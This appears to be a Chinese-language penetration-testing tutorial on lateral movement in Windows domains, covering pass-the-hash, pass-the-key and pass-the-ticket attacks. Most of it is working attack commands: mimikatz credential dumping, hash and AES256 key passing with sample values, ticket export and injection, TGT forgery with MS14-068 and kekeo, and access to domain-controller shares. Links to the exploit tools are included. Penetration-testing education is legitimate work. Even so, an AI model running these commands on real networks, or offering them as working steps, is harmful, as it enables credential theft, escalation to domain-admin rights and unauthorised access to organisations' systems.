4.橫向PTH&PTK&PTT雜湊票據傳遞
0x01.前提知識
1.pth
PTH(pass the hash) #利用 lm 或 ntlm 的值進行的滲透測試
PTH 在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接通過 LM Hash 和 NTLM Hash 訪問遠端主機或服務,而不用提供明文密碼。
如果禁用了 ntlm 認證,PsExec 無法利用獲得的 ntlm hash 進行遠端連線,但是使用 mimikatz 還是可以攻擊成功。對於安裝補丁 kb2871997的Win 7/2008r2/8/2012 等,可以使用 AES keys代替 NT hash 來實現 ptk 攻擊
總結:KB2871997 補丁後的影響
pth:沒打補丁使用者都可以連線,打了補丁只能 administrator 連線 ptk:打了補丁才能使用者都可以連線,採用 aes256 連線
2.ptk
PTK(pass the key) #利用的ekeys aes256進行的滲透測試
攻擊方式同PTH,只是打了補丁後將NTML值換成aes256加密的值
3.ptt
PTT(pass the ticket) #利用的票據憑證TGT進行的滲透測試
PTT攻擊的部分就不是簡單的NTLM認證了,它是利用Kerberos協議進行攻擊的,這裡就介紹三種常見的攻擊方法:MS14-068,Golden ticket,SILVER ticket,簡單來說就是將連接合法的票據注入到記憶體中實現連線。
MS14-068基於漏洞,Golden ticket(黃金票據),SILVER ticket(白銀票據)
其中Golden ticket(黃金票據),SILVER ticket(白銀票據)屬於許可權維持技術
MS14-068造成的危害是允許域內任何一個普通使用者,將自己提升至域管許可權。微軟給出的補丁是kb3011780
0x02.域橫向移動PTH NTML傳遞
PTH ntlm 傳遞
未打補丁下的工作組及域連線
# mimikatz 命令 privilege::debug // #提升許可權 sekurlsa::logonPasswords // #抓取密碼 sekurlsa::pth /user:administrator /domain:tencent /ntlm:2baaefbdd1ee80755b986ee93a8848b2 sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c # 域內 sekurlsa::pth /user:boss /domain:tencent /ntlm:ccef208c6485269c20db2cad21734fe7 # 上面反彈回來shell 檢視域控的d盤資訊 dir \\WIN-83V1721VG9V.tencent.com\d$ // 連線使用ip/域名都可以
0x03.域橫向移動PTK aes256傳遞
打KB2871997
補丁後的工作組及域連線
# mimikatz 命令
privilege::debug // 提升許可權
sekurlsa::ekeys // 獲取aes
sekurlsa::pth /user:administrator /domain:tencent /aes256:f305f03562f81f7847f17bcf9477cce414fb47e4271763cf9078cc2566316e0f
0x04.域橫向移動PTT雜湊票據傳遞-ms14068&kekeo&本地
1.MS14-068漏洞
能實現普通使用者直接獲取域控system許可權
1.檢視當前sid
whoami/user
2.清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造(不需要system許可權)
kerberos::purge // 清空當前機器中所有憑證或者cmd下 klist purge
kerberos::list // 檢視當前機器憑證
kerberos::ptc 票據檔案 // 將票據注入到記憶體中
3.利用ms14-068生成TGT資料
ms14-068.exe -u 域成員名@域名 -s sid -d 域控制器地址 -p 域成員密碼
MS14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票據注入記憶體
mimikatz.exe "kerberos::ptc [email protected]" exit
5.檢視憑證列表
klist
6.利用
dir \\192.168.3.21\c$
# 本質就是生成一個合法的連線請求 , 用mimikatz匯入到記憶體中
MS14-068下載:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
2.kekeo
下載地址 : https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20210723
1.生成票據
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.匯入票據
kerberos::ptt [email protected][email protected]
3.檢視憑證 klist
4.利用net use載入
dir \\192.168.3.21\c$
3.利用本地票據(需管理許可權)
這種方式是猜測當前電腦連線過域控,並且連線時長沒有超過票據的過期時間(10小時 )
# mimikatz 命令
privilege::debug // 提升許可權
sekurlsa::tickets /export // 匯出本地所有票據
kerberos::ptt xxxxxxxxxx.xxxx.kirbi // 匯入票據
dir \\192.168.3.21\c$ // 利用
0x05 開源內網神器Ladon
Ladon使用:https://github.com/k8gege/Ladon